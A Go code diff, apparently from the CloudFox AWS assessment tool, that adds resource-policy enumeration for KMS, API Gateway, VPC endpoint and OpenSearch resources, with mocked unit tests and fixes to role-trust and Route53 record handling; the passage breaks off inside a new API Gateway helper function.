@@ -252,7 +271,8 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getEFSfilesystemPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -261,6 +281,7 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
wg.Add(1)
|
||||
m.getSecretsManagerSecretsPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("glue", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
@@ -271,6 +292,53 @@ func (m *ResourceTrustsModule) executeChecks(r string, wg *sync.WaitGroup, semap
|
||||
m.getGlueResourcePoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
if includeKms && m.KMSClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("kms", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getKMSPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.APIGatewayClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getAPIGatewayPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.EC2Client != nil {
|
||||
res, err = servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getVPCEndpointPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
if m.OpenSearchClient != nil {
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getOpenSearchPoliciesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) Receiver(receiver chan Resource2, receiverDone chan bool) {
|
||||
@@ -306,7 +374,7 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
|
||||
|
||||
for _, t := range ListTopics {
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting string = "No"
|
||||
var isInteresting = "No"
|
||||
topic, err := cloudFoxSNSClient.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
@@ -316,9 +384,10 @@ func (m *ResourceTrustsModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGrou
|
||||
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
|
||||
if err != nil {
|
||||
topic.Name = aws.ToString(t.TopicArn)
|
||||
} else {
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
}
|
||||
topic.Name = parsedArn.Resource
|
||||
topic.Region = parsedArn.Region
|
||||
|
||||
// check if topic is public or not
|
||||
if topic.Policy.IsPublic() {
|
||||
@@ -846,6 +915,315 @@ func (m *ResourceTrustsModule) getSecretsManagerSecretsPoliciesPerRegion(r strin
|
||||
}
|
||||
}
|
||||
|
||||
// getKMSPoliciesPerRegion retrieves the resource policies for all KMS keys in a specified region.
|
||||
// It sends the resulting Resource2 objects to the dataReceiver channel.
|
||||
// It uses a semaphore to limit the number of concurrent requests and a WaitGroup to wait for all requests to complete.
|
||||
// It takes the region to search in, the WaitGroup to use, the semaphore to use, and the dataReceiver channel to send results to.
|
||||
func (m *ResourceTrustsModule) getKMSPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
listKeys, err := sdk.CachedKMSListKeys(*m.KMSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, key := range listKeys {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
keyPolicy, err := sdk.CachedKMSGetKeyPolicy(*m.KMSClient, aws.ToString(m.Caller.Account), r, aws.ToString(key.KeyId))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if keyPolicy.IsPublic() {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
} else {
|
||||
isPublic = "No"
|
||||
}
|
||||
|
||||
if !keyPolicy.IsEmpty() {
|
||||
for i, statement := range keyPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(keyPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(key.KeyArn),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(key.KeyId),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getAPIGatewayPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
restAPIs, err := sdk.CachedApiGatewayGetRestAPIs(*m.APIGatewayClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, restAPI := range restAPIs {
|
||||
|
||||
if sdk.IsPublicApiGateway(&restAPI) {
|
||||
continue
|
||||
}
|
||||
|
||||
var isPublic = "No"
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
if restAPI.Policy != nil && *restAPI.Policy != "" {
|
||||
|
||||
// remove backslashes from the policy JSON
|
||||
policyJson := strings.ReplaceAll(aws.ToString(restAPI.Policy), `\"`, `"`)
|
||||
|
||||
restAPIPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(restAPI.Name), err))
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !restAPIPolicy.IsEmpty() {
|
||||
for i, statement := range restAPIPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(restAPIPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:execute-api:%s:%s:%s/*", r, *m.Caller.Account, *restAPI.Id),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(restAPI.Name),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:execute-api:%s:%s:%s/*", r, *m.Caller.Account, *restAPI.Id),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(restAPI.Name),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getVPCEndpointPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
vpcEndpoints, err := sdk.CachedEC2DescribeVpcEndpoints(*m.EC2Client, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, vpcEndpoint := range vpcEndpoints {
|
||||
var isPublic = "No"
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
if vpcEndpoint.PolicyDocument != nil && *vpcEndpoint.PolicyDocument != "" {
|
||||
vpcEndpointPolicyJson := aws.ToString(vpcEndpoint.PolicyDocument)
|
||||
vpcEndpointPolicy, err := policy.ParseJSONPolicy([]byte(vpcEndpointPolicyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(vpcEndpoint.VpcEndpointId), err))
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !vpcEndpointPolicy.IsEmpty() {
|
||||
for i, statement := range vpcEndpointPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(vpcEndpointPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:ec2:%s:%s:vpc-endpoint/%s", r, aws.ToString(m.Caller.Account), aws.ToString(vpcEndpoint.VpcEndpointId)),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(vpcEndpoint.VpcEndpointId),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: fmt.Sprintf("arn:aws:ec2:%s:%s:vpc-endpoint/%s", r, aws.ToString(m.Caller.Account), aws.ToString(vpcEndpoint.VpcEndpointId)),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(vpcEndpoint.VpcEndpointId),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getOpenSearchPoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() { <-semaphore }()
|
||||
|
||||
openSearchDomains, err := sdk.CachedOpenSearchListDomainNames(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
return
|
||||
}
|
||||
for _, openSearchDomain := range openSearchDomains {
|
||||
var isPublic string
|
||||
var statementSummaryInEnglish string
|
||||
var isInteresting = "No"
|
||||
|
||||
openSearchDomainConfig, err := sdk.CachedOpenSearchDescribeDomainConfig(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if aws.ToBool(openSearchDomainConfig.AdvancedSecurityOptions.Options.Enabled) {
|
||||
isPublic = "No"
|
||||
} else {
|
||||
isPublic = magenta("Yes")
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
openSearchDomainStatus, err := sdk.CachedOpenSearchDescribeDomain(*m.OpenSearchClient, aws.ToString(m.Caller.Account), r, aws.ToString(openSearchDomain.DomainName))
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if openSearchDomainStatus.AccessPolicies != nil && *openSearchDomainStatus.AccessPolicies != "" {
|
||||
|
||||
// remove backslashes from the policy JSON
|
||||
policyJson := strings.ReplaceAll(aws.ToString(openSearchDomainStatus.AccessPolicies), `\"`, `"`)
|
||||
|
||||
openSearchDomainPolicy, err := policy.ParseJSONPolicy([]byte(policyJson))
|
||||
if err != nil {
|
||||
sharedLogger.Error(fmt.Errorf("parsing policy (%s) as JSON: %s", aws.ToString(openSearchDomainStatus.ARN), err))
|
||||
m.CommandCounter.Error++
|
||||
continue
|
||||
}
|
||||
|
||||
if !openSearchDomainPolicy.IsEmpty() {
|
||||
for i, statement := range openSearchDomainPolicy.Statement {
|
||||
prefix := ""
|
||||
if len(openSearchDomainPolicy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
statementSummaryInEnglish = prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account) + "\n"
|
||||
} else {
|
||||
statementSummaryInEnglish = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
|
||||
statementSummaryInEnglish = strings.TrimSuffix(statementSummaryInEnglish, "\n")
|
||||
if isResourcePolicyInteresting(statementSummaryInEnglish) {
|
||||
//magenta(statementSummaryInEnglish)
|
||||
isInteresting = magenta("Yes")
|
||||
}
|
||||
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(openSearchDomainStatus.ARN),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(openSearchDomain.DomainName),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
dataReceiver <- Resource2{
|
||||
AccountID: aws.ToString(m.Caller.Account),
|
||||
ARN: aws.ToString(openSearchDomainStatus.ARN),
|
||||
ResourcePolicySummary: statementSummaryInEnglish,
|
||||
Public: isPublic,
|
||||
Name: aws.ToString(openSearchDomain.DomainName),
|
||||
Region: r,
|
||||
Interesting: isInteresting,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Resource2) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
@@ -905,7 +1283,7 @@ func (m *ResourceTrustsModule) getGlueResourcePoliciesPerRegion(r string, wg *sy
|
||||
}
|
||||
|
||||
func isResourcePolicyInteresting(statementSummaryInEnglish string) bool {
|
||||
// check if the statement has any of the following items, but make sure the check is case insensitive
|
||||
// check if the statement has any of the following items, but make sure the check is case-insensitive
|
||||
// if it does, then return true
|
||||
// if it doesn't, then return false
|
||||
|
||||
|
||||
@@ -2,6 +2,10 @@ package aws
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/aws/sdk"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
)
|
||||
|
||||
func TestIsResourcePolicyInteresting(t *testing.T) {
|
||||
@@ -41,3 +45,218 @@ func TestIsResourcePolicyInteresting(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestKMSResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedKMSClient := &sdk.MockedKMSClient{}
|
||||
var kmsClient sdk.KMSClientInterface = mockedKMSClient
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: &kmsClient,
|
||||
APIGatewayClient: nil,
|
||||
EC2Client: nil,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "key1",
|
||||
ARN: "arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, true)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAPIGatewayResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedAPIGatewayClient := &sdk.MockedAWSAPIGatewayClient{}
|
||||
var apiGatewayClient sdk.APIGatewayClientInterface = mockedAPIGatewayClient
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: nil,
|
||||
APIGatewayClient: &apiGatewayClient,
|
||||
EC2Client: nil,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "api1",
|
||||
ARN: "arn:aws:execute-api:us-west-2:123456789012:abcdefg/*",
|
||||
Public: "No",
|
||||
Interesting: "Yes",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
|
||||
t.Fatal("Resource Public does not match expected value")
|
||||
}
|
||||
if expectedResource2.Interesting != tc.testModule.Resources2[index].Interesting {
|
||||
t.Fatal("Resource Interesting does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVpcEndpointResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedEC2Client := &sdk.MockedEC2Client2{}
|
||||
var ec2Client sdk.AWSEC2ClientInterface = mockedEC2Client
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: nil,
|
||||
APIGatewayClient: nil,
|
||||
EC2Client: &ec2Client,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "vpce-1234567890abcdefg",
|
||||
ARN: "vpce-1234567890abcdefg",
|
||||
Public: "No",
|
||||
},
|
||||
{
|
||||
Name: "vpce-1234567890abcdefh",
|
||||
ARN: "vpce-1234567890abcdefh",
|
||||
Public: "No",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
|
||||
t.Fatal("Resource Public does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestOpenSearchResourceTrusts(t *testing.T) {
|
||||
|
||||
mockedOpenSearchClient := &sdk.MockedOpenSearchClient{}
|
||||
var openSearchClient sdk.OpenSearchClientInterface = mockedOpenSearchClient
|
||||
|
||||
testCases := []struct {
|
||||
outputDirectory string
|
||||
verbosity int
|
||||
testModule ResourceTrustsModule
|
||||
expectedResult []Resource2
|
||||
}{
|
||||
{
|
||||
outputDirectory: ".",
|
||||
verbosity: 2,
|
||||
testModule: ResourceTrustsModule{
|
||||
KMSClient: nil,
|
||||
APIGatewayClient: nil,
|
||||
EC2Client: nil,
|
||||
OpenSearchClient: &openSearchClient,
|
||||
AWSRegions: []string{"us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Account: aws.String("123456789012"),
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
},
|
||||
Goroutines: 30,
|
||||
},
|
||||
expectedResult: []Resource2{
|
||||
{
|
||||
Name: "domain1",
|
||||
ARN: "arn:aws:es:us-east-1:123456789012:domain/domain1",
|
||||
Public: "No",
|
||||
},
|
||||
{
|
||||
Name: "domain2",
|
||||
ARN: "arn:aws:es:us-east-1:123456789012:domain/domain2",
|
||||
Public: "Yes",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
tc.testModule.PrintResources(tc.outputDirectory, tc.verbosity, false)
|
||||
for index, expectedResource2 := range tc.expectedResult {
|
||||
if expectedResource2.Name != tc.testModule.Resources2[index].Name {
|
||||
t.Fatal("Resource name does not match expected value")
|
||||
}
|
||||
if expectedResource2.ARN != tc.testModule.Resources2[index].ARN {
|
||||
t.Fatal("Resource ARN does not match expected value")
|
||||
}
|
||||
if expectedResource2.Public != tc.testModule.Resources2[index].Public {
|
||||
t.Fatal("Resource Public does not match expected value")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+8
-5
@@ -219,9 +219,10 @@ func (m *RoleTrustsModule) printPrincipalTrusts(outputDirectory string) ([]strin
|
||||
RoleARN: aws.ToString(role.roleARN),
|
||||
RoleName: GetResourceNameFromArn(aws.ToString(role.roleARN)),
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
IsAdmin: role.Admin,
|
||||
CanPrivEsc: role.CanPrivEsc,
|
||||
// if there is more than one externalID concat them using newlines
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
IsAdmin: role.Admin,
|
||||
CanPrivEsc: role.CanPrivEsc,
|
||||
}
|
||||
body = append(body, []string{
|
||||
aws.ToString(m.Caller.Account),
|
||||
@@ -281,7 +282,7 @@ func (m *RoleTrustsModule) printPrincipalTrustsRootOnly(outputDirectory string)
|
||||
for _, role := range m.AnalyzedRoles {
|
||||
for _, statement := range role.trustsDoc.Statement {
|
||||
for _, principal := range statement.Principal.AWS {
|
||||
if strings.Contains(principal, ":root") && statement.Condition.StringEquals.StsExternalID == "" {
|
||||
if strings.Contains(principal, ":root") && statement.Condition.StringEquals.StsExternalID == nil {
|
||||
accountID := strings.Split(principal, ":")[4]
|
||||
vendorName := m.vendors.GetVendorNameFromAccountID(accountID)
|
||||
if vendorName != "" {
|
||||
@@ -292,7 +293,7 @@ func (m *RoleTrustsModule) printPrincipalTrustsRootOnly(outputDirectory string)
|
||||
RoleARN: aws.ToString(role.roleARN),
|
||||
RoleName: GetResourceNameFromArn(aws.ToString(role.roleARN)),
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
IsAdmin: role.Admin,
|
||||
CanPrivEsc: role.CanPrivEsc,
|
||||
}
|
||||
@@ -465,6 +466,8 @@ func parseFederatedTrustPolicy(statement policy.RoleTrustStatementEntry) (string
|
||||
subjects = append(subjects, statement.Condition.StringLike.TokenActionsGithubusercontentComSub...)
|
||||
} else if len(statement.Condition.StringEquals.TokenActionsGithubusercontentComSub) > 0 {
|
||||
subjects = append(subjects, statement.Condition.StringEquals.TokenActionsGithubusercontentComSub...)
|
||||
} else if len(statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub) > 0 {
|
||||
subjects = append(subjects, statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub...)
|
||||
} else {
|
||||
subjects = append(subjects, "ALL REPOS!!!")
|
||||
}
|
||||
|
||||
+17
-5
@@ -235,19 +235,31 @@ func (m *Route53Module) getRoute53Records() {
|
||||
recordName = aws.ToString(record.Name)
|
||||
recordType = string(record.Type)
|
||||
|
||||
for _, resourceRecord := range record.ResourceRecords {
|
||||
recordValue := resourceRecord.Value
|
||||
if record.AliasTarget != nil {
|
||||
m.Records = append(
|
||||
m.Records,
|
||||
Record{
|
||||
AWSService: "Route53",
|
||||
Name: recordName,
|
||||
Type: recordType,
|
||||
Value: aws.ToString(recordValue),
|
||||
Type: fmt.Sprintf("Alias[%s]", recordType),
|
||||
Value: aws.ToString(record.AliasTarget.DNSName),
|
||||
PrivateZone: privateZone,
|
||||
})
|
||||
|
||||
} else {
|
||||
for _, resourceRecord := range record.ResourceRecords {
|
||||
recordValue := resourceRecord.Value
|
||||
m.Records = append(
|
||||
m.Records,
|
||||
Record{
|
||||
AWSService: "Route53",
|
||||
Name: recordName,
|
||||
Type: recordType,
|
||||
Value: aws.ToString(recordValue),
|
||||
PrivateZone: privateZone,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+122
-1
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/apigateway"
|
||||
apiGatewayTypes "github.com/aws/aws-sdk-go-v2/service/apigateway/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type APIGatewayClientInterface interface {
|
||||
@@ -53,15 +54,37 @@ func init() {
|
||||
gob.Register([]apiGatewayTypes.UsagePlanKey{})
|
||||
}
|
||||
|
||||
// create a CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
|
||||
func IsPublicApiGateway(ra *apiGatewayTypes.RestApi) bool {
|
||||
for _, endpointType := range ra.EndpointConfiguration.Types {
|
||||
if endpointType == apiGatewayTypes.EndpointTypeRegional || endpointType == apiGatewayTypes.EndpointTypeEdge {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
